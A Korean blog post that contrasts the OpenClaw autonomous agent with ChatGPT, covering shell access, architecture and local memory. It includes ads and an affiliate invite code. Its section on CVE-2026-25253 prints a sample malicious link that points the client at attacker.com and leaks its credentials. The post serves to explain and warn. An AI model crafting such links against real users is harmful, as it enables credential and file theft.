OpenClaw와 ChatGPT의 본질적 차이: 제1원리로 이해하는 자율 AI 에이전트

2026년 1월, 제 피드는 OpenClaw 이야기로 가득했습니다. 3일 만에 GitHub Star 10만 개를 넘겼고, 여기저기서 “AI 혁명이 왔다”는 식의 글이 쏟아졌습니다. 처음 제목을 봤을 때 저는 이렇게 생각했습니다. 아, 또 로컬에서 돌릴 수 있는 ChatGPT 같은 건가 보네. 로컬 데이터라면 보안도 좋고, 개인정보 유출 걱정도 줄겠지. 나쁘지 않다.

그런데 2월 초, 보안 경고 하나를 봤습니다. CVE-2026-25253, CVSS 점수 10점. 만점입니다. 이게 무슨 뜻일까요? 악성 링크 하나만 클릭해도 OpenClaw가 완전히 제어될 수 있다는 뜻입니다. 공격자가 홈 디렉터리 파일을 읽고, API 키를 가져가고, 브라우저 기록까지 뒤질 수 있습니다.

그 순간 조금 멍해졌습니다. ChatGPT에서는 이런 일이 애초에 일어날 수 없습니다. 둘 다 AI인데, 왜 OpenClaw는 Shell 명령을 실행하고 파일을 읽고 쓰고 브라우저까지 제어할 수 있는 반면, ChatGPT는 얌전히 텍스트만 생성할까요?

그날 밤 몇 시간 동안 OpenClaw의 GitHub 저장소와 기술 문서를 뒤졌고, 그제야 이해했습니다. 저를 포함해 많은 사람이 처음부터 잘못 이해하고 있었습니다. OpenClaw는 전혀 “로컬 버전 ChatGPT”가 아닙니다. 완전히 다른 종입니다. 바로 자율 AI 에이전트(Autonomous AI Agent)입니다.

이 글에서는 “자율성”이 정확히 무엇인지 이야기해 보려고 합니다. 제1원리부터 출발해 OpenClaw와 ChatGPT의 본질적 차이를 풀어보겠습니다. 언제 대화형 AI를 쓰고, 언제 AI 에이전트를 써야 하는지 고민하고 있다면 도움이 될 겁니다.

저비용 AI 에이전트 운영 가이드: ArkClaw가 AI Agent를 진짜 대중화합니다

요즘 화제인 OpenClaw는 좋지만 설정 장벽이 꽤 높습니다. ByteDance Volcano Engine이 내놓은 ArkClaw는 그 진입 장벽을 바닥까지 낮췄습니다. 서버나 Token 설정을 고생할 필요 없이, 한 번에 24시간 온라인으로 대기하고 브라우저를 제어하며 스크립트를 실행하고 캘린더를 관리하는 AI 작업 비서를 만들 수 있습니다.

핵심은 정말 저렴하다는 점입니다. 월 요금은 9.9위안이고, 제 초대 코드 ZLKUK54M(여기에서 가입)을 사용하면 8.9위안이면 됩니다. 개발자라면 Coding Plan Pro에 바로 가입해 무료로 써볼 수도 있습니다.

제1원리: “자율성”이란 무엇인가요?

정의로 돌아가 봅시다. ChatGPT는 대화형 AI(Conversational AI)이고, OpenClaw는 자율 AI 에이전트(Autonomous AI Agent)입니다. 두 표현은 비슷해 보이지만 실제로는 완전히 다릅니다.

실제 상황 하나로 설명해 보겠습니다. 데스크톱에 파일이 엉망으로 쌓여 있고, 정리하고 싶다고 가정해 봅시다.

ChatGPT에게 말합니다. “데스크톱 파일을 정리해 줘.”

ChatGPT는 이렇게 답할 겁니다.

“물론입니다! 이렇게 해보세요.

1. ‘사진’, ‘문서’, ‘다운로드’ 같은 폴더를 만듭니다
2. 해당 파일을 각 폴더로 옮깁니다
3. 필요 없는 임시 파일을 삭제합니다
   구체적인 명령도 알려드릴까요?”

여기서 중요한 점은, 이것은 단지 제안이라는 겁니다. 사용자는 여전히 파일 관리자를 열고, 폴더를 직접 만들고, 파일을 직접 끌어다 놓아야 합니다.

OpenClaw로 바꾸면 같은 말을 했을 때:

그것은 곧바로 실행합니다.

ls ~/Desktop
mkdir ~/Desktop/photos ~/Desktop/docs ~/Desktop/downloads
mv ~/Desktop/*.jpg ~/Desktop/photos
mv ~/Desktop/*.pdf ~/Desktop/docs

데스크톱이 실제로 정리됩니다.

차이가 보이나요? ChatGPT는 말하고, OpenClaw는 합니다.

그 뒤에는 세 가지 본질적인 차이가 있습니다.

KiloClaw - 기업용 매니지드 OpenClaw, AI Agent 오케스트레이션 및 스마트 라우팅

시작하기 →광고

1. 입력과 출력이 다릅니다

• ChatGPT: 텍스트 → 텍스트(한 문장을 물으면 한 문장으로 답합니다)
• OpenClaw: 의도 → 작업(요구를 말하면 여러 동작을 실행합니다)

2. 실행 환경이 다릅니다

• ChatGPT: 클라우드 샌드박스(OpenAI 서버 위의 격리된 가상 환경)
• OpenClaw: 사용자의 로컬 머신(사용자 컴퓨터에서 직접 실행되며 전체 시스템 권한을 가집니다)

3. 권한 모델이 다릅니다

• ChatGPT: 시스템 권한 없음(사용자의 파일 시스템 자체를 볼 수 없습니다)
• OpenClaw: 전체 권한(파일 시스템, Shell, 브라우저 제어에 모두 닿을 수 있습니다)

쉽게 말해 ChatGPT는 조언자라서 아이디어를 낼 수 있을 뿐입니다. OpenClaw는 비서라서 곧바로 일을 처리합니다. 이것이 “자율성”의 핵심입니다. 단지 조언을 제공하는 것이 아니라, 독립적으로 작업을 끝낼 수 있는가입니다.

대화형 AI vs 행동형 AI: 능력의 경계는 어디인가요?

“자율성”을 이해했다면 한 단계 더 들어가 봅시다. 이 두 종류의 AI는 능력의 경계가 어디까지일까요?

ChatGPT의 능력 경계

ChatGPT가 잘하는 일은 분명합니다. 자연어 이해, 텍스트 생성, 컨텍스트 기반 대화입니다. “돼지고기 조림을 어떻게 만들지?”라고 물으면 상세한 단계를 알려줍니다. 이메일을 써달라고 하면 꽤 그럴듯하게 써줍니다.

하지만 근본적인 제한이 있습니다. 매번의 상호작용은 독립된 API 호출입니다. 사용자가 메시지 하나를 보내면 답변 하나를 받고 끝납니다. 다음에 다시 물어보면, 사실 이전에 무엇을 이야기했는지 기억하지 못합니다. 유료 Memory 기능을 쓰거나, 사용자가 직접 대화 기록을 계속 넘겨주지 않는 한 그렇습니다.

지금의 ChatGPT에는 Plugins와 GPTs도 있고, 외부 API를 호출할 수도 있습니다. 예를 들어 “오늘 날씨를 확인해 줘”라고 하면 날씨 API를 호출해 결과를 돌려줄 수 있습니다. 하지만 이것도 여전히 “요청-응답” 방식입니다. 날씨를 능동적으로 모니터링할 수 없고, 비 오기 전에 자동으로 알려줄 수도 없습니다.

OpenClaw의 능력 경계

OpenClaw의 능력은 훨씬 더 거칩니다. 핵심 기능은 다음과 같습니다.

• Shell 명령 실행: bash/zsh/PowerShell 명령을 직접 실행합니다
• 파일 시스템 읽기/쓰기: 파일을 읽고, 편집하고, 만들고, 삭제합니다
• 브라우저 제어: Chrome DevTools Protocol(CDP)을 통해 브라우저를 조작하고, 클릭, 폼 입력, 스크린샷 촬영을 수행합니다
• 크로스 플랫폼 메시지 라우팅: WhatsApp, Telegram, Discord, Slack, Signal, iMessage 등 14개 이상의 메시징 플랫폼을 지원합니다

더 중요한 점은 자율성입니다. 예를 들어 보겠습니다.

예전에 저는 OpenClaw에게 “매일 아침 9시에 GitHub에 새 issue가 있는지 확인하고, 있으면 Telegram으로 알려줘”라고 시켰습니다. 실제로 해냈습니다. 예약 작업을 설정했고, 매일 자동으로 확인했으며, 새 issue가 발견되면 알림을 보냈습니다.

이것은 ChatGPT에서는 전혀 할 수 없습니다. ChatGPT는 능동적으로 일을 할 수 없습니다. 사용자의 요청에 수동적으로 응답할 뿐입니다.

또 많은 사람이 모르는 점이 있습니다. OpenClaw에는 지속 기억이 있습니다. 로컬에 Markdown 파일(memory/YYYY-MM-DD.md)을 만들어 매일의 대화와 작업을 기록합니다. 다음에 “지난주 그 Python 스크립트 어디 있었지?”라고 물으면 기록을 뒤져 알려줄 수 있습니다. 이 기억은 세션을 넘어 유지되므로, 매번 배경 정보를 다시 설명할 필요가 없습니다.

결국 ChatGPT는 지식이 풍부한 대화 상대이고, OpenClaw는 손을 움직일 수 있는 지능형 비서입니다. 전자는 생각을 돕고, 후자는 실행을 돕습니다.

OpenClaw의 3계층 아키텍처: 왜 “행동”할 수 있나요?

그렇다면 OpenClaw는 어떻게 이런 능력을 구현할까요? 저는 오후 내내 아키텍처를 살펴봤고, 꽤 영리하게 설계되어 있다는 것을 알게 됐습니다. 크게 세 계층입니다.

1계층: Gateway(제어 평면)

Gateway는 OpenClaw의 “두뇌”입니다. Node.js 기반으로 사용자의 로컬 머신에서 실행되며, 기본적으로 loopback(127.0.0.1)에 바인딩됩니다. 즉 기본 상태에서는 사용자 본인만 접근할 수 있습니다. 원격 제어가 필요하다면 Tailscale이나 SSH로 연결하면 됩니다.

Gateway의 핵심은 WebSocket 네트워크 아키텍처입니다. 모든 클라이언트, 도구, 이벤트를 관리합니다. 사용자가 Telegram으로 메시지를 보내면 Gateway가 이를 받고, 어떤 도구를 호출할지와 어떤 결과를 반환할지를 결정합니다.

여기에는 “DM 페어링 정책”(dmPolicy="pairing")이라는 보안 메커니즘이 있습니다. 낯선 발신자가 처음 OpenClaw에 메시지를 보내면 바로 실행하지 않고 페어링 코드를 요구한다는 뜻입니다. 누군가 사용자를 사칭해 명령을 내리는 일을 막기 위한 장치입니다.

2계층: Channel(메시지 라우팅)

이 계층은 OpenClaw의 “신경계”입니다. WhatsApp, Telegram, Discord, Slack, Signal, iMessage 등 14개 이상의 메시징 플랫폼을 지원합니다. 사용자는 Telegram에서 명령을 보낼 수도 있고, Discord에서 질문할 수도 있습니다.

OpenClaw는 세션을 분리합니다.

• main 세션: 사용자가 OpenClaw와 직접 나누는 대화
• group 세션: 독립적으로 격리된 그룹 채팅 모드

이 설계의 장점은 분명합니다. 업무 그룹에서 OpenClaw를 멘션해 자료를 찾게 해도, 개인적으로 나누는 대화 컨텍스트가 방해받지 않습니다.

3계층: LLM(추론 엔진)

이 계층은 OpenClaw의 “사고 능력”입니다. OpenClaw 자체는 특정 대규모 모델에 묶여 있지 않습니다. Claude Opus 4.5를 써도 되고, GPT-4를 써도 되며, Ollama로 로컬 모델을 돌릴 수도 있습니다.

핵심은 도구 호출(Tool Calling / Function Calling)입니다. 사용자가 “데스크톱 파일을 정리해 줘”라고 말하면 LLM이 의도를 이해하고, bash 도구를 호출해 mkdir, mv 명령을 실행하기로 결정합니다. 이 과정은 자동입니다. 사용자가 직접 도구를 지정할 필요가 없습니다.

Vultr - 고성능 NVMe 클라우드 서버, 전 세계 32개 노드, Docker 원클릭 배포

요금 보기 →광고

사실 ChatGPT도 Function Calling을 지원합니다. 하지만 미리 정의해 둔 API만 호출할 수 있습니다. OpenClaw는 다릅니다. 임의의 Shell 명령과 임의의 파일 작업을 호출할 수 있습니다. 이것이야말로 진짜 자율성입니다.

이 세 계층이 맞물리면서 OpenClaw는 “채팅을 잘하는 AI”에서 “일을 할 줄 아는 AI”로 바뀝니다.

지속 기억 메커니즘: OpenClaw는 왜 사용자를 “기억”하나요?

앞에서 OpenClaw에 지속 기억이 있다고 말했습니다. 저는 이 부분이 특히 흥미롭습니다. 설계 철학은 “파일 우선”(File-First)입니다. 조금 복고적으로 들리지만, 실제로 쓰면 꽤 시원합니다.

두 계층의 기억 구조

OpenClaw의 기억은 두 종류입니다.

1. 임시 기억(Ephemeral Memory): 하루에 하나의 Markdown 파일입니다. 경로는 memory/YYYY-MM-DD.md입니다. 그날 사용자가 OpenClaw와 나눈 모든 대화와 OpenClaw가 실행한 모든 작업이 이 파일에 기록됩니다.

2. 지속 기억(Durable Memory): 전용 MEMORY.md 파일입니다. 지식베이스처럼 쓸 수 있습니다. 중요한 정보, 자주 쓰는 명령, 프로젝트 설정을 직접 적어 두면 OpenClaw가 우선 참고합니다.

예를 들어 지난주에 제가 OpenClaw에게 Python 크롤러를 작성하게 했고, ~/scripts/scraper.py에 저장했다고 합시다. 오늘 “그 크롤러 스크립트 어디 있었지?”라고 물으면 OpenClaw가 memory/2026-02-01.md를 뒤져 경로를 알려줍니다.

이 설계에는 장점이 하나 있습니다. 완전히 투명하다는 겁니다. OpenClaw가 무엇을 기억하고 있는지 알고 싶다면 Markdown 파일을 직접 열어 보면 됩니다. ChatGPT의 Memory 기능처럼 클라우드에 숨겨져 있어서 실제로 무엇을 기억하는지 알기 어려운 방식이 아닙니다.

게다가 이 기억 파일들은 사용자의 것입니다. 직접 편집하고, 백업하고, Git으로 관리할 수도 있습니다. 저는 이제 매주 금요일마다 MEMORY.md를 개인 저장소에 푸시하는 습관이 생겼습니다. 언젠가 OpenClaw가 망가져도 기억은 남아 있습니다.

ChatGPT의 기억과 비교하면

ChatGPT에도 Memory 기능이 있지만, 유료 구독에서 제공됩니다. 사용자의 선호와 습관을 클라우드에 저장하고, 다음 대화에서 참고합니다. 하지만 사용자는 이 기억을 직접 보거나 편집할 수 없습니다. ChatGPT에게 “어떤 일을 잊어줘”라고 대화로 요청해야 합니다.

OpenClaw는 정확히 반대입니다. 기억은 로컬에 있고, 형식은 Markdown이며, 완전히 제어할 수 있습니다. 특정 대화를 잊게 하고 싶다면 해당 줄을 지우면 됩니다. 새 정보를 기억하게 하고 싶다면 MEMORY.md에 직접 적으면 됩니다.

솔직히 저는 이 방식이 더 마음에 듭니다. AI의 기억은 제 자산이어야지, 어떤 플랫폼의 서버 안에 잠겨 있어서는 안 됩니다.

왜 OpenClaw에는 CVE-2026-25253 취약점이 있었나요?

처음에 말한 그 취약점으로 돌아가 봅시다. 당시 CVSS 10점이라는 점수를 보고 저도 놀랐습니다. 가장 높은 심각도입니다. 나중에 살펴보니 왜 이런 문제가 생겼는지 이해할 수 있었습니다.

취약점의 본질은 무엇인가요?

OpenClaw에는 URL 파라미터로 gatewayUrl을 지정해 WebSocket 연결을 자동으로 만드는 기능이 있었습니다. 예를 들어 이런 링크를 클릭한다고 합시다.

openclaw://connect?gatewayUrl=ws://attacker.com:8080

OpenClaw는 이 주소에 바로 연결하고, 사용자의 인증 자격 증명까지 전송했습니다. 이 과정에 사용자 확인은 전혀 없었습니다.

공격자는 무엇을 얻을 수 있었을까요?

• 사용자의 홈 디렉터리 파일(SSH 키, 설정 파일이 들어 있을 수 있습니다)
• 사용자의 API 키(OpenAI, Claude 등)
• 브라우저 기록과 Cookie

사실상 사용자의 컴퓨터에서 OpenClaw가 접근할 수 있는 것은 공격자도 가져갈 수 있었습니다. 그래서 CVSS가 10점으로 평가된 것입니다. 완전한 원격 코드 실행(RCE) 리스크였습니다.

다행히 공식 대응은 빨랐습니다. 2026년 1월 29일 버전에서 이미 수정되었습니다. 지금은 OpenClaw가 “이 낯선 Gateway에 연결하시겠습니까?”라는 확인 팝업을 띄웁니다.

왜 ChatGPT에는 이런 취약점이 생기지 않나요?

이 질문이 중요합니다. ChatGPT에는 이런 취약점이 애초에 생길 수 없습니다. 이유는 간단합니다. 로컬 실행 권한이 없기 때문입니다.

ChatGPT는 OpenAI의 클라우드 서버에서 실행됩니다. 각 사용자의 대화는 격리된 샌드박스 안에서 처리됩니다. 사용자가 질문하면 텍스트를 생성해 돌려주는 것이 전부입니다. 사용자의 파일 시스템, 브라우저, API 키에 닿을 수 없습니다.

OpenClaw는 다릅니다. 사용자의 로컬 머신에서 실행되고, 전체 시스템 권한을 가집니다. 이것이 OpenClaw가 “일을 할 수 있는” 전제이지만, 동시에 리스크의 뿌리이기도 합니다.

제가 말하는 트레이드오프가 바로 이것입니다. 자율성(Autonomy) = 높은 능력 + 높은 리스크입니다.

Railway - 현대적인 배포 플랫폼, 번거로운 운영 없이 몇 분 만에 라이브

지금 시작 →광고

파일을 정리하고, 스크립트를 실행하고, 브라우저를 제어해 주는 AI 비서를 원하나요? 그렇다면 그 AI가 시스템 권한을 가진다는 사실도 받아들여야 합니다. 권한이 클수록 책임도 커지고, 취약점의 영향도 커집니다.

이 말은 OpenClaw가 안전하지 않다는 뜻이 아닙니다. OpenClaw에는 이미 DM 페어링 정책, Gateway loopback 바인딩 같은 보안 메커니즘이 있습니다. 다만 알아야 합니다. 시스템 권한을 가진 모든 소프트웨어에는 공격받을 리스크가 있습니다. OpenClaw도 그렇고, VS Code 플러그인도 그렇고, 브라우저 확장도 그렇습니다.

핵심은 자신이 무엇을 쓰고 있는지, 리스크가 어디에 있는지 아는 것입니다.

어떤 상황에서 무엇을 써야 하나요? 선택 가이드

여기까지 왔다면 가장 실용적인 질문이 남습니다. 언제 ChatGPT를 쓰고, 언제 OpenClaw를 써야 할까요?

ChatGPT가 적합한 상황

다음과 같은 요구라면 ChatGPT로 충분합니다.

1. 빠른 정보 확인: 자료 검색, 질문, 개념 설명. ChatGPT의 지식 범위는 넓고 답변 품질도 안정적입니다.

2. 콘텐츠 생성: 이메일 작성, 문안 작성, 문서 번역. ChatGPT가 특히 강한 영역이며, 빠르고 품질도 좋습니다.

3. 브레인스토밍: 아이디어 발상, 방안 논의, 조언 제시. 이때 필요한 것은 실행자가 아니라 대화 상대입니다.

4. 보안 요구가 높은 상황: 회사 내부망에 있거나 민감 데이터를 다룬다면 ChatGPT의 클라우드 샌드박스 격리는 장점이 될 수 있습니다. 로컬 파일에 닿지 못하므로 그 파일을 유출할 수도 없습니다.

간단히 말하면 생각은 필요하지만 실행은 필요 없는 일에는 ChatGPT를 쓰면 됩니다.

OpenClaw가 적합한 상황

반대로 이런 요구가 있다면 OpenClaw가 진짜 가치를 냅니다.

1. 반복 작업 자동화: 파일 일괄 처리, 정기 데이터 확인, 보고서 생성. OpenClaw는 스크립트를 작성하고 예약 작업을 설정할 수 있어, 매번 손으로 할 필요가 없습니다.

2. 크로스 플랫폼 메시지 연동: Telegram에서 명령을 보내 OpenClaw가 Discord로 알림을 보내게 하거나, Slack 메시지를 가져와 WhatsApp에 동기화하고 싶을 때입니다. 이런 플랫폼 간 조율은 OpenClaw가 잘합니다.

3. 지속 컨텍스트: 장기 프로젝트를 진행하면서 AI가 모든 세부 사항, 과거 결정, 코드 구조를 기억해야 할 때입니다. OpenClaw의 로컬 기억은 세션을 넘어 컨텍스트를 유지할 수 있습니다.

4. 브라우저 자동화: 자동화 테스트, 웹페이지 스크린샷, 폼 입력. OpenClaw는 CDP 프로토콜을 통해 브라우저를 완전히 제어할 수 있습니다.

5. 로컬 데이터 우선: 데이터를 클라우드로 보내고 싶지 않거나, 로컬 파일과 로컬 도구를 처리해야 하는 경우입니다.

간단히 말하면 실행이 필요하고, 게다가 반복적으로 실행해야 하는 일에는 OpenClaw를 쓰면 됩니다.

제 개인적인 사용 방식

저는 지금 이렇게 씁니다.

• 일상 상담: ChatGPT. 기술 질문, 자료 확인, 문서 개요 작성에 씁니다.
• 코드 리뷰: ChatGPT. 코드를 붙여 넣고 문제를 찾거나 개선 제안을 받습니다.
• 자동화 작업: OpenClaw. 매일 아침 GitHub issue를 자동 확인하고, 다운로드 폴더를 정리하고, 노트를 정기 백업합니다.
• 프로젝트 협업: OpenClaw. 제 모든 프로젝트의 디렉터리 구조, 자주 쓰는 명령, 환경 설정을 기억합니다.

두 도구는 경쟁 관계가 아니라 보완 관계입니다. ChatGPT는 사용자의 “조언자”이고, OpenClaw는 사용자의 “비서”입니다. 조언자는 무엇을 해야 할지 생각하도록 돕고, 비서는 그 일을 끝까지 처리합니다.

결론

이 글을 쓰는 동안 계속 생각했습니다. AI의 진화란 결국 무엇일까요?

ChatGPT에서 OpenClaw로 넘어가는 변화는 단순한 기술 반복이 아닙니다. 능력 경계의 확장입니다. ChatGPT는 AI가 “말하는 법”을 익히게 했고, OpenClaw는 AI가 “일하는 법”을 익히게 했습니다.

하지만 이 진화는 공짜가 아닙니다. 자율성은 능력을 가져오지만, 리스크도 함께 가져옵니다. CVE-2026-25253은 우리에게 상기시킵니다. AI가 시스템 권한을 갖는 순간, 그것은 든든한 비서가 될 수도 있고 공격자의 진입점이 될 수도 있습니다.

결국 OpenClaw와 ChatGPT의 차이를 이해한다는 것은 대화와 행동의 차이, 조언과 실행의 차이, 클라우드와 로컬의 차이를 이해하는 것입니다.

OpenClaw를 더 이상 “로컬 버전 ChatGPT”로 보지 마세요. 그것은 완전히 새로운 종입니다. 자율 AI 에이전트입니다. 가치는 채팅을 잘하는 데 있지 않고, 행동할 수 있다는 데 있습니다.

당신에게 필요한 것은 생각을 정리해 주는 조언자일까요, 아니면 일을 끝내 주는 비서일까요? 이 질문을 분명히 하면 어떤 도구를 선택해야 할지도 알 수 있습니다.